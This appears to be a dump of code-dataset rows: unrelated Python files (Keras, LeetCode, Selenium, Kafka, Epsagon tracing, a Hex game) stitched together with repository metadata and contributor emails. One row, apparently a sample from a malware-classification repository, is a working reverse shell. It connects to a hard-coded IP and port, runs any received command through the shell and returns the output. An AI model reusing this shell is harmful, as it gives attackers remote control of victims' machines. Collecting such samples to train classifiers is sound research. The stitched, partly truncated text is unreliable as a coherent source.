from tensorflow.keras.layers import Dense, Input, Concatenate, Lambda
from tensorflow.keras import optimizers
from tensorflow.python... | [
"1173205582@qq.com"
] | 1173205582@qq.com |
b28d0abd6a484e23c277ddb74ecf8140c4ca1fe5 | 1bdf38834c22b0100595cb22f2862fd1ba0bc1e7 | /code308RangeSumQuery2DMutable.py | f914f056042314c3f89d84a5b8ddf3bfe388b092 | [] | no_license | cybelewang/leetcode-python | 48d91c728856ff577f1ccba5a5340485414d6c6e | 635af6e22aa8eef8e7920a585d43a45a891a8157 | refs/heads/master | 2023-01-04T11:28:19.757123 | 2020-10-29T05:55:35 | 2020-10-29T05:55:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,454 | py | """
308. Range Sum Query 2D - Mutable
Given a 2D matrix matrix, find the sum of the elements inside the rectangle defined by its upper left corner (row1, col1) and lower right corner (row2, col2).
The above rectangle (with the red border) is defined by (row1, col1) = (2, 1) and (row2, col2) = (4, 3), which conta... | [
"guoligit@gmail.com"
] | guoligit@gmail.com |
cf7b634e86403bc6e74ea6701c60c1c423198ef8 | c29d81a381a70be0fbaf10e94bdf6f57f7a1ba21 | /lab3.py | 1a421553cb7bae7eb6cacd819f7ac2d85a39e50c | [] | no_license | veefore/avip | 2b27ccca8ad4923318b7d9ad1f58e756306f33cf | 94c3ff30c2589829b4854442f40bedeba8ce32fc | refs/heads/master | 2021-01-13T23:53:27.597427 | 2020-06-06T03:32:21 | 2020-06-06T03:32:21 | 242,532,873 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,399 | py | from PIL import Image
import numpy as np
from utils import print_timing
from lab1 import greyscale
def aperture_to_array(pixels, x, y, a):
# (x, y) represents the top left corner of the window, where (0, 0) is at the top left of the image
# a - the side of the window
arr = np.zeros((a, a))
for shift_x... | [
"veefore.vs@gmail.com"
] | veefore.vs@gmail.com |
49a3f9e0115ecea2e26d292e39f1d033e9789868 | 9db35c7fee8844d1cc2cdc27898cbdb2bd643fb5 | /main.py | b2e3504df196ddeb9ef36cf595c2dd946ac2ed23 | [] | no_license | UNILORN/SeleniumSample | 1bffca3055f08654872202d131d20bc7d311dac8 | fbb8583d06b053b932c6fe200bbf78ee0a8729f4 | refs/heads/master | 2020-06-02T19:54:33.757503 | 2019-06-11T03:47:36 | 2019-06-11T03:47:36 | 191,289,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 784 | py | from selenium import webdriver
import os
from os.path import abspath,dirname
from random import randrange
from time import sleep
if os.name == 'posix':
path = abspath(dirname(__file__)+'./mac/chromedriver')
else:
path = abspath(dirname(__file__)+'\win\chromedriver.exe')
browser = webdriver.Chrome(executable_p... | [
"yusuke.aoki@optim.co.jp"
] | yusuke.aoki@optim.co.jp |
34443723d6fcf2aed884d9aa89f7d0734540bf52 | 05a95cde87ae2d1f33b0886b36625684fcdb635e | /epsagon/events/tornado_client.py | f036e51142ed80e8285b9ffe24bad4b5b93576a9 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | epsagon/epsagon-python | eba6feae2ee04d1ee66e08b0b6eedf9473ba9058 | 91e28fe43bc4f42152fb156145088cb8c9f69b85 | refs/heads/master | 2023-05-24T05:38:40.625407 | 2022-11-10T12:34:50 | 2022-11-10T12:34:50 | 150,960,938 | 57 | 25 | MIT | 2023-05-12T22:38:08 | 2018-09-30T11:21:41 | Python | UTF-8 | Python | false | false | 4,790 | py | """
Tornado AsyncHTTPClient events module.
"""
from __future__ import absolute_import
import functools
try:
from urllib.parse import urlparse, urlunparse
except ImportError:
from urlparse import urlparse, urlunparse
import traceback
from uuid import uuid4
from epsagon.utils import add_data_if_needed
from ..t... | [
"noreply@github.com"
] | epsagon.noreply@github.com |
1692a2ec3f66ebf1aa86968ae915f2a2e635e5cd | 9a7526401349d6004a0ffb94163e75b368e064a1 | /CoffeeCartServer/testMain.py | 539dd8faf0cfc1ca531070bda379bd3ed131f2aa | [] | no_license | jassimran/Coffee-Cart-App | 2ab70d3e4645be4f595b0ff923aab5f90a818616 | 0b187fa82c0cfbfa0384100d0ca2e0dd338e95c0 | refs/heads/master | 2020-03-14T02:26:37.356816 | 2018-04-28T10:27:57 | 2018-04-28T10:27:57 | 131,398,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 990 | py | #!/usr/bin/python
import optparse
import sys
import unittest
USAGE = """%prog SDK_PATH TEST_PATH
Run unit tests for App Engine apps.
SDK_PATH Path to the SDK installation
TEST_PATH Path to package containing test modules"""
def main(sdk_path, test_path):
sys.path.insert(0, sdk_path)
impor... | [
"just.simmi@gmail.com"
] | just.simmi@gmail.com |
4125a3a6906417841daee6699df1daa262068870 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03069/s036551857.py | 273e2d32d2871800eb6b588af947e2fe9c71f0b3 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 269 | py | import sys,math,collections,itertools
input = sys.stdin.readline
N = int(input())
s = input().rstrip()
cntb =0
cntw = s.count('.')
ans =cntw
for i in range(len(s)):
if s[i] == '#':
cntb +=1
else:
cntw -=1
ans = min(ans,cntb+cntw)
print(ans) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
f6bdf4d9d98945b174ea3626cac9c7f21706ba7e | 73e939e797cc28aa33a4f55c234237c47167033e | /test/test_transaction_summary.py | b5bc1ae60e987c82adcad1bf24cbb8c6ef351245 | [] | no_license | dmlerner/ynab-api | b883a086e6ce7c5d2bdb5b17f3f0a40dbb380046 | df94b620d9ec626eacb9ce23bfd313f1c589b03a | refs/heads/master | 2023-08-17T14:22:17.606633 | 2023-07-03T17:05:16 | 2023-07-03T17:05:16 | 223,287,209 | 27 | 13 | null | 2023-08-05T18:58:58 | 2019-11-21T23:58:22 | Python | UTF-8 | Python | false | false | 975 | py | """
YNAB API Endpoints
Our API uses a REST based design, leverages the JSON data format, and relies upon HTTPS for transport. We respond with meaningful HTTP response codes and if an error occurs, we include error details in the response body. API Documentation is at https://api.youneedabudget.com # noqa: E5... | [
"dmlerner@gmail.com"
] | dmlerner@gmail.com |
01ef9cb216b469f0fd9d4d1c37cac3dcd6c36be7 | 75536622efb5b10f0d489e0733d2810a0225f679 | /scripts/sample.py | 471d6de48ae280b1f67a5f6175513ec592b96bce | [] | no_license | 6br/panacea | a08123a8c241a1b683624e8d91495d4389826831 | 3b336e1f34ae4aa84f29ac95d06cae1567bc1055 | refs/heads/master | 2022-12-05T09:53:10.848942 | 2020-09-03T06:16:30 | 2020-09-03T06:16:30 | 212,508,380 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,988 | py | import os
import sys
import time
import datetime
from concurrent.futures import ThreadPoolExecutor
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.w... | [
"tfdvrt@gmail.com"
] | tfdvrt@gmail.com |
8b9a1d2c684d7a07e09c72b4df3f6954ff8d244a | c06a2fa5bc47a4801d70617e9519a19f7df8789e | /fbml/element.py | 849d2b0c899b4ae67fd896c03ad3de9f092ea22b | [] | no_license | kalhauge/fbml-old | bc29317a605e7aa5a64ffc88d8996273284cbb5f | 2211270a21535370838fc40c6e5db6f5f08c2e50 | refs/heads/master | 2020-05-18T10:12:26.073990 | 2013-09-04T19:08:09 | 2013-09-04T19:08:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,430 | py | """
.. currentmodule:: fbml.element
.. moduleauthor:: Christian Gram Kalhauge
"""
import pprint
from collections import namedtuple, deque
import logging
log = logging.getLogger(__name__)
from fbml.util import Immutable, namedtuple_from_dict
from operator import attrgetter
From = namedtuple('From', ['function', 'sl... | [
"christian@kalhauge.dk"
] | christian@kalhauge.dk |
14249c6ddfac1936e3eae837ec0c193148ba9a71 | 2cbe3c441daf456ce38b97bb5cb6479d91d9f72b | /tutorial4.py | b3627758bac679e12a9e0ae1c122f3b17610422d | [
"MIT"
] | permissive | kingmayonaise/empty-app | f336ac5b23512278a0c9a0c18f43d106d6ac0b07 | af6f084ea292e62d7ec2e865738c916d0407fedb | refs/heads/master | 2021-01-18T05:02:53.594421 | 2016-11-17T01:38:46 | 2016-11-17T01:38:46 | 67,625,882 | 0 | 0 | null | 2016-09-07T16:45:35 | 2016-09-07T16:45:35 | null | UTF-8 | Python | false | false | 824 | py | from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame
SCREEN_WIDTH = 640
SCREEN_HEIGHT = 480
class SpaceShip(Sprite):
"""
Animated space ship
"""
asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
Frame(227,0,292-227,125), 4, 'vertical')
... | [
"danielmelnikov@hanovernorwichschools.org"
] | danielmelnikov@hanovernorwichschools.org |
dd374ab7f5502aff595c11cccbb73827945a7707 | 97f0330bb5a2050adc81871693d062cb730d22f6 | /y3s1/DMD/HW10/dbms/index.py | 8ab881d90684217e68df094c3149e7a6a2a3708b | [] | no_license | ariser/Innopolis | 56d5ef62a031d3b67bad93175868fd24d305ff5b | 7f1159368f0b4cc66cea9f36b1c208ea40d362c1 | refs/heads/master | 2021-01-10T13:52:07.154146 | 2017-04-20T08:46:38 | 2017-04-20T08:46:38 | 44,034,317 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 148 | py | from dbms.vendor.btree import BPlusTree
class Index(object):
__slots__ = ['btree']
def __init__(self):
self.btree = BPlusTree(2)
| [
"ariser@ariser.ru"
] | ariser@ariser.ru |
08a1dfe046c907ca12715962c37263dd701a1167 | ee358856cbb844db19c82a03698e728cb5f1cc40 | /random_parser.py | 9c5a304c45123c355c64387be06f8e6f1f985ed9 | [] | no_license | Ramaraja/python-snippets | 789c0bd91d9be96f935a2439c054afeb2dc41a1e | dc7706471a634273102877bc77a6097dd161a56f | refs/heads/master | 2023-05-31T03:22:55.788556 | 2023-05-18T09:11:38 | 2023-05-18T09:11:38 | 102,446,629 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 964 | py | # parser
data = """
NAME: "1", "DESCR": "C1000"
PID: EC1K-TEST , VID: V00 , SN: 193823648
OID: 1.2.3.4.5.6
NAME: "2", "DESCR": "C1000"
PID: EC1K-TEST , VID: V00 , SN: 193823648
OID: 1.2.3.4.5.6
"""
def oid_parser(data):
# assumed that the double newlines are seperate records
records = d... | [
"noreply@github.com"
] | Ramaraja.noreply@github.com |
a8a168e45728b281c365ca8ea4ef5d5893de1049 | 57d2e77aa5e97c49d76a33a8a572eeabe82bc571 | /project/eeg_classification.py | 5f4dbca9e83af33fa1e5e1e9d678df80acf400f8 | [
"MIT"
] | permissive | boredStats/eeg-machine-learning | 167afd928d78df67db08ddfebeaf6e090a8aa250 | bbf72ef55644f3941120f8f9007d839c1a4731fd | refs/heads/master | 2022-10-03T19:58:03.901354 | 2019-12-10T18:11:58 | 2019-12-10T18:11:58 | 189,074,610 | 1 | 0 | MIT | 2022-09-30T18:46:42 | 2019-05-28T17:37:06 | Python | UTF-8 | Python | false | false | 17,994 | py | import numpy as np
import pandas as pd
import pickle as pkl
import proj_utils as pu
from os.path import isdir, join
from os import mkdir
from copy import deepcopy
from imblearn.over_sampling import RandomOverSampler, SMOTE
from imblearn.under_sampling import RandomUnderSampler
from sklearn import ensemble, feature_sele... | [
"ian.abenes@gmail.com"
] | ian.abenes@gmail.com |
0fb0c324b7732ab490a71f2d069eca7673a43eb2 | 7a87119ef5d77a1b225aab45083a45dcd376684c | /6_palindroom.py | b71f3511d35f1b2ab48041d139ac45ce6325a707 | [] | no_license | astilleman/MI | 0e31e0f4098502e83a13805feae82e038c169bb7 | 1564fd28f759761c3e186d41107c9abff3b69070 | refs/heads/master | 2023-03-29T19:14:46.817308 | 2021-04-06T15:43:17 | 2021-04-06T15:43:17 | 337,495,283 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,100 | py | """
Een palindroom is een string die hetzelfde leest van links naar
rechts, als omgekeerd. Enkele voorbeelden van palindromen zijn:
- kayak
- racecar
- was it a cat I saw
Schrijf een recursieve functie die een string vraagt aan de gebruiker en
nakijkt of deze string al dan niet een palindroom is. Indien... | [
"43027764+astilleman@users.noreply.github.com"
] | 43027764+astilleman@users.noreply.github.com |
72fdf7852141e481fa5be04b51142c750e6d858c | 0b4e0aced622f59061e93a68dc0556f467b8309f | /utilities/kafka_functions.py | 0951bc8fbb93d0446cbfd08310dd8bf5ed6eb0b3 | [] | no_license | JumaKahiga/cashcog | efbd7b387653745f459aa465d8d14cdca3d90e23 | fbb40a481a3122d30fd41d35da34480c3e943105 | refs/heads/develop | 2022-12-13T01:25:48.520910 | 2020-05-06T11:49:27 | 2020-05-06T11:49:27 | 226,367,108 | 0 | 0 | null | 2022-01-21T20:10:44 | 2019-12-06T16:20:08 | Python | UTF-8 | Python | false | false | 772 | py | from kafka import KafkaProducer
def publish_message(producer_instance, topic_name, key, value):
try:
key_bytes = bytes(key, encoding='utf-8')
value_bytes = bytes(value, encoding='utf-8')
producer_instance.send(topic_name, key=key_bytes, value=value_bytes)
producer_instance.flush()
... | [
"kabirumwangi@gmail.com"
] | kabirumwangi@gmail.com |
61a282f16b0983b3c5423e695cafa939076f1269 | dd7d625ba21c63184af482141dd0c530df21d34c | /horus/application/api/client.py | 542d3595bef5e9b4b118a0f59e2611e753e037ef | [] | no_license | juanvaes/horus | 3a333910faaa0e9e66274006689c29ff0e8428a9 | f14be3b408135ffd964d830e6b11c266b6bad286 | refs/heads/master | 2020-03-29T04:36:13.480690 | 2019-02-01T11:42:53 | 2019-02-01T11:42:53 | 149,539,108 | 0 | 0 | null | 2019-01-03T16:43:35 | 2018-09-20T02:22:45 | Python | UTF-8 | Python | false | false | 917 | py | from flask import jsonify, request
from application import session
from urllib.parse import urlparse
from application.api import appi
from application.models import Client
@appi.route('/clients', methods=['GET'])
def get_clients_all():
clients = Client.get_all()
print(clients)
return jsonify({'data':clien... | [
"juanvaes22@gmail.com"
] | juanvaes22@gmail.com |
2ba29bb6527519b7c9d06927fd4de577934867a1 | 4b8fe7722b590f061435e48a200a5e460c34e09d | /463.py | 4199d0fa3079a6cf9b57fc956709802f611759bd | [] | no_license | luyibo/leetcode | 79902b51092dba3b869c8b9c494c62f387808590 | dfc26b4ed5c7cfc7edad36e75edf6cabfae3bbb4 | refs/heads/master | 2021-05-15T01:11:20.419251 | 2016-12-29T01:56:44 | 2016-12-29T01:57:58 | 57,302,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 584 | py | class Solution(object):
def islandPerimeter(self, grid):
"""
:type grid: List[List[int]]
:rtype: int
"""
land = 0
neighbour = 0
for i in range(len(grid)):
for j in range(len(grid[0])):
if grid[i][j] == 1:
land +=... | [
"1428260548@qq.com"
] | 1428260548@qq.com |
174e5543c3d14be2f7973435e139bd2bb9bc19b5 | ef2f932655e4591c4f654431cd96eedd0af2b5ba | /tests/example.py | b717490fbd69d71977bed6f795fb9a7c57e8a744 | [
"MIT"
] | permissive | cair/hex-ai | b380447c6dd445452c161babefdfadf329e899fa | 70c134a1479b58634e62c845314c7536ad64e4be | refs/heads/master | 2021-08-03T02:37:13.928443 | 2021-07-26T19:58:51 | 2021-07-26T20:02:29 | 209,273,454 | 0 | 0 | MIT | 2021-04-19T17:44:02 | 2019-09-18T09:46:06 | C | UTF-8 | Python | false | false | 540 | py | from PyHex import Hex11 as Hex
if __name__ == "__main__":
hg = Hex.HexGame()
winner = -1
for game in range(10000000):
Hex.init(hg)
player = 0
while Hex.full_board(hg) == 0:
position = Hex.place_piece_randomly(hg, player)
if Hex.winner(hg, player, position... | [
"per@sysx.no"
] | per@sysx.no |
2a5f098970707ee38ff75ca8d29e49d273794e98 | 02fa673f9884afb39cfb3b0a933f31c0490e91ac | /run.py | 54db5923f0f4e7457078279564fb3963d12d1c2e | [] | no_license | morez-tvk/order | d8a1eac6a58150a9ccef244f1adb870cb5011446 | 022d72b3de662720dbbf64b996b149485fa089a8 | refs/heads/master | 2023-04-30T01:05:13.278301 | 2021-05-20T13:11:21 | 2021-05-20T13:11:21 | 289,751,487 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,620 | py | from flask import Flask, request, jsonify
import requests
from nahayat import NahayatNegar
import flask
import time
from multiprocessing import Process
import json
from LogMg import logger
# import requests
app = Flask(__name__)
app.config["DEBUG"] = True
import datetime
def input_validator(request):
try:
... | [
"tavakolian.mr@gmail.com"
] | tavakolian.mr@gmail.com |
66eef6585fd94f0ceff511a5bcdfafdbbc1d0330 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad382.py | 9b733b70a15ec41b80a16eccdf59369f39e4f4a9 | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 318 | py | import bz2
import threading
import socket
import subprocess
import lzma
import hashlib
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
05b6136d14b4fcea82c6f71e820305b667687133 | 48d6041a7744baa1a4c563380d00fed8ae66cb08 | /flo.py | 36c0373df517bd9d0e598b1336d24e74eb454906 | [] | no_license | gowtham-kingxo/Ubuntu_Installation_form | 34c7e35aa49a5165bf25d3d555742e3f9018bf4b | fcff2287bc8bdc4295e069367d6d68f60db17d71 | refs/heads/master | 2021-01-11T13:36:59.208082 | 2017-06-23T17:16:00 | 2017-06-23T17:16:00 | 95,014,953 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38 | py | x=input()
y=input()
print(x)
print(y) | [
"gowtham.gourov@gmail.com"
] | gowtham.gourov@gmail.com |
75b9354c43fbe2ada91b3db0a439507494e90df6 | 26e33f6491218e2a1c677e917742e42bfcd0eaa6 | /pychat/pychat/Assigner.py | 0c0de1a7f530f30c7eff31c170e55a5bfe4abd14 | [
"MIT"
] | permissive | fanjiamin1/cryptocurrencies | 4ef1f37b56dc3d098f3a47cbd198952da74ec635 | 2009ade60f74093ff9946b99ae45d2964f5a75ca | refs/heads/master | 2021-01-21T11:49:06.636178 | 2016-12-20T13:29:06 | 2016-12-20T13:29:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,394 | py | import socket
import sys
from pychat.crypto import AES as Cipher
from Crypto import Random
class Alice():
def __init__(self, key="0123456789defabc"):
self.key = key
self.cipher = Cipher(self.key)
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def connect(self, ip_ad... | [
"ivarr15@ru.is"
] | ivarr15@ru.is |
b10302ab2daca47e9bd8afe17228e2f901d2976a | d00b1e01f82076248eb07d6391fafabfbac74898 | /metadata/FrostNumber/hooks/pre-stage.py | 7f090d9c2b69e9473bb79627b7d4db1dbab856b5 | [
"MIT"
] | permissive | csdms/wmt-metadata | 9b922415faa397e3d5511f258e1a4fda846b78b7 | 39207acc376f1cd21b2ae1d5581a1e2c317a6441 | refs/heads/master | 2020-04-07T00:39:56.268862 | 2019-02-26T21:24:20 | 2019-02-26T21:24:20 | 51,040,972 | 0 | 0 | MIT | 2018-10-31T19:36:54 | 2016-02-04T00:23:47 | Python | UTF-8 | Python | false | false | 769 | py | """A hook for modifying parameter values read from the WMT client."""
import os
import shutil
from wmt.utils.hook import find_simulation_input_file, yaml_dump
from topoflow_utils.hook import assign_parameters
file_list = []
def execute(env):
"""Perform pre-stage tasks for running a component.
Parameters
... | [
"mark.piper@colorado.edu"
] | mark.piper@colorado.edu |
a296c689355de9ff44465c89010087d206693bda | e15d63ccde04e7458bff5af1bdad63a5c699b489 | /example/Model_Conversion/mx2torch/retinaface_r50/res50_transfer_weight.py | 17e4e530621f5d1100de117f9e520503564c3aba | [
"WTFPL"
] | permissive | ddddwee1/TorchSUL | 775b6a2b1e4ab7aac25a3f0411de83affc257af5 | 6c7cd41b14fc8b746983e8b981d1ba4d08370ca2 | refs/heads/master | 2023-08-21T15:21:24.131718 | 2023-08-18T09:37:56 | 2023-08-18T09:37:56 | 227,628,298 | 13 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,870 | py | import numpy as np
from TorchSUL import Model as M
import torch
import torch.nn as nn
import torch.nn.functional as F
class Unit(M.Model):
def initialize(self, chn, stride=1, shortcut=False):
self.bn0 = M.BatchNorm()
self.act = M.Activation(M.PARAM_RELU)
self.c1 = M.ConvLayer(1, chn, activation=M.PARAM_REL... | [
"cy960823@outlook.com"
] | cy960823@outlook.com |
d5e603260c7090d7a8d90aa950916b167e7fe620 | 3f1bc9c7d58f89fcc61b44e1e8197a5df18e3dbc | /src/light_demo.py | 439753943ad251e822817883a28e8ddb6e3a3161 | [] | no_license | kynamg/hello | 4a382f2eb2fbf8847cb5df13fab4a8b90fcf9868 | 92b8059fb5f05b20abfcccc54dc4e47d3d9b6ef2 | refs/heads/master | 2021-08-22T23:03:21.314150 | 2017-12-01T15:16:41 | 2017-12-01T15:16:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,912 | py | #!/usr/bin/env python
# Title : light_demo.py
# Author : Kyna Mowat-Gosnell
# Date : 09/10/17
# Version : 2.0
import rospy, qi, argparse
import sys
import time
import naoqi
from naoqi import *
from diagnostic_msgs.msg import KeyValue # message type /iot_updates uses
from std_msgs.msg import Empty
def callback(data):
... | [
"hwlivinglab@gmail.com"
] | hwlivinglab@gmail.com |
46bd95d09f6bc8aecede6db2b326fc90533f3af9 | 45467e07e77131f631d0865046dcc4d18f483601 | /src/Hackerearth/round_2/A.py | a766bae20c7b6478ffb22d212ff53cd5256fddb7 | [] | no_license | bvsbrk/Algos | 98374e094bd3811579276d25a82bbf2c0f046d96 | cbb18bce92054d57c0e825069ef7f2120a9cc622 | refs/heads/master | 2021-09-25T10:01:59.323857 | 2018-10-20T16:07:07 | 2018-10-20T16:07:07 | 98,708,839 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 805 | py | if __name__ == '__main__':
for _ in range(int(input().strip())):
n = int(input().strip())
x = n
arr = [int(i) for i in input().strip().split()]
arr = arr[::-1]
i = 0
while arr[i] == 0 and i < n:
i += 1
x -= 1
if i == n - 1:
... | [
"v.ramakoteswararao2015@vit.ac.in"
] | v.ramakoteswararao2015@vit.ac.in |
42c458f3d032a3537cacc143e6752b2e931af068 | a2783f4380503c68db31506243f7c3021c9752f9 | /consulta_estados_brasileiros.py | 0dff039ac70b463a576fce01d1344f2c4f05f1c0 | [] | no_license | jpablolima/python | 2f541378ed3b9fb582c9b1fe8a14ec80891241be | 8e67d723e9649c557786583b257bbde9b899ea37 | refs/heads/master | 2020-06-24T17:51:23.908809 | 2019-11-21T13:41:09 | 2019-11-21T13:41:09 | 199,036,691 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py | import sqlite3
conexao = sqlite3.connect("brasil.db")
conexao.row_factory = sqlite3.Row
print("%3s %-20s %12s" % ("Id", "Estado", "População"))
print("="*37)
for estado in conexao.execute("select * from estados order by nome"):
print("%3d %-20s %12d" %
(estado["id"],
estado["nome"],
estado["populacao"]))... | [
"jp.pablolima@gmail.com"
] | jp.pablolima@gmail.com |
a76f90ee511fdec16e0583ce58592537635c4b8f | 9bbe37776a81954085d21b1b80248ca05094a8ff | /day08/day0801/demo02_v2.py | 7ca9113815f3d292b54a150907dc54a298bf092b | [] | no_license | wxsel/myseleniumproject | e8fd68384055aa696b76e69c49ac6a1df8c0e05f | 98d1c50d9ab133aa1e0801ec2825f986902602d8 | refs/heads/master | 2020-08-08T00:53:45.200465 | 2019-10-08T13:28:06 | 2019-10-08T13:28:06 | 213,648,982 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,527 | py | #!/usr/bin/env python3
# coding=utf-8
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.select import Select
from time import sleep
driver=webdriver.Chrome()
# 打开浏览器
def open(url):
base_url=url
driver.get(base_url)
base_url=""
# 操作页面元素mycase1
def myca... | [
"hoou1993"
] | hoou1993 |
6ce151591e20779df71ce25110bc3831ce51c59a | b792f600ed4e50f34e65e4f334cf7a32d319cc0e | /2017/day11.py | cf2d1b7780f769b1e96bacb18b46b9ecb825122d | [] | no_license | daniel70/AoC | d577f490559d4a0f0d24567bd796117e1aac94ec | ef704a4f6e90168cdc2a91e894583a96e9a6c371 | refs/heads/master | 2022-12-28T03:19:08.341913 | 2022-12-16T01:52:39 | 2022-12-18T01:30:50 | 224,876,724 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 711 | py | directions = {
'n': (0, 1),
'ne': (1, 0.5),
'se': (1, -0.5),
's': (0, -1),
'sw': (-1, -0.5),
'nw': (-1, 0.5),
}
def distance(instructions: list[str]) -> tuple[int, int]:
origin = [0, 0]
furthest = 0
for direction in instructions:
dx, dy = directions[direction]
origi... | [
"vdmeulen.daniel@gmail.com"
] | vdmeulen.daniel@gmail.com |
63189884e723d6a31b370e37804c9082c206e005 | 023a5279d1c6f02f4a6952b2538d7bc046d02fc9 | /staffs/admin.py | 7748da2f180d330938614c580a230641754ca2b4 | [] | no_license | mandal143/staff | af24767e9126e5af6aa0c1d36a62f37d93b281be | 6f52ece9ea5eacf24289bea11773d36ec8b69906 | refs/heads/master | 2023-08-10T16:07:10.775517 | 2020-07-03T14:02:10 | 2020-07-03T14:02:10 | 276,841,994 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 147 | py | from django.contrib import admin
from .models import Employees, LoginLogoutLog
admin.site.register(Employees)
admin.site.register(LoginLogoutLog) | [
"49410374+mandal143@users.noreply.github.com"
] | 49410374+mandal143@users.noreply.github.com |
7441c8779392e406177ecd3e8cb518398c54c8f9 | 14eea746af39f11e6a63306b4f6f0201cf8c2a4d | /adventofcode/day7.py | 0d3a8ebce21725bbb4a53c9066f8654e9ded4d0f | [] | no_license | andrehsu/Advent-of-Code-2019-Python | ce6985ff4f5b329dda5bc6f148dc42ae51160c78 | 5363d4eb9e6c7baf6f8c2a47807fc7e1449fce7f | refs/heads/master | 2022-07-05T05:05:06.476339 | 2020-09-18T08:30:24 | 2020-09-18T08:30:24 | 226,030,389 | 0 | 0 | null | 2022-06-22T03:38:16 | 2019-12-05T06:18:09 | Python | UTF-8 | Python | false | false | 3,965 | py | from itertools import permutations
from typing import Optional, Tuple
from utils import read_input
INPUT = read_input('day7')
def parse_instruction(instruction: int) -> Tuple[int, int, int, int]:
return (instruction % 100 // 1,
instruction % 1000 // 100,
instruction % 10000 // 1000,
... | [
"4470828+andrehsu@users.noreply.github.com"
] | 4470828+andrehsu@users.noreply.github.com |
cf84b8508c24aa61ea4018468c09b1302f383a08 | cd11a7fafe7d5ac6561ee2b1760d6a75a9df5757 | /bigdata.py | 06b134c5c31858a3744fd1b578cb0e10f5d85976 | [] | no_license | zhongyuanbaike/Python | 217731f99a53f9480cd471e39429e0fafd84f1b2 | ed0aed89539aa87ccdc0fb2108e8df165dc59b6b | refs/heads/master | 2020-04-11T06:21:26.814676 | 2019-03-13T06:44:14 | 2019-03-13T06:44:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | import pandas as pd
reader = pd.read_csv('F:\\world.txt',iterator=True,error_bad_lines=False)
chunk = reader.get_chunk(50000000)
df=pd.DataFrame(chunk)
df.dropna()
df.columns = ['date', 'b', 'c', 'd']
df['date'] = pd.to_datetime(df['date']) #将数据类型转换为日期类型
df = df.set_index('date') # 将date设置为index
i=2... | [
"noreply@github.com"
] | zhongyuanbaike.noreply@github.com |
5432391a83b8c960663d3cef2f2aa55994ff307a | c4bfd8ba4c4c0f21bd6a54a9131f0985a5a4fa56 | /crescent/functions/get_att.py | 704a83a8c9e664be800a85836e5778252c98e7a2 | [
"Apache-2.0"
] | permissive | mpolatcan/crescent | 405936ec001002e88a8f62d73b0dc193bcd83010 | 2fd0b1b9b21613b5876a51fe8b5f9e3afbec1b67 | refs/heads/master | 2022-09-05T04:19:43.745557 | 2020-05-25T00:09:11 | 2020-05-25T00:09:11 | 244,903,370 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 528 | py | from .fn import Fn as AnyFn, FnArrayValue
from typing import Union
class GetAtt(FnArrayValue):
def __init__(self):
super(GetAtt, self).__init__(
fn_name=GetAtt.__name__,
field_order=[self.Resource.__name__, self.Attribute.__name__]
)
def Resource(self, resource_id: Uni... | [
"mutlupolatcan@gmail.com"
] | mutlupolatcan@gmail.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.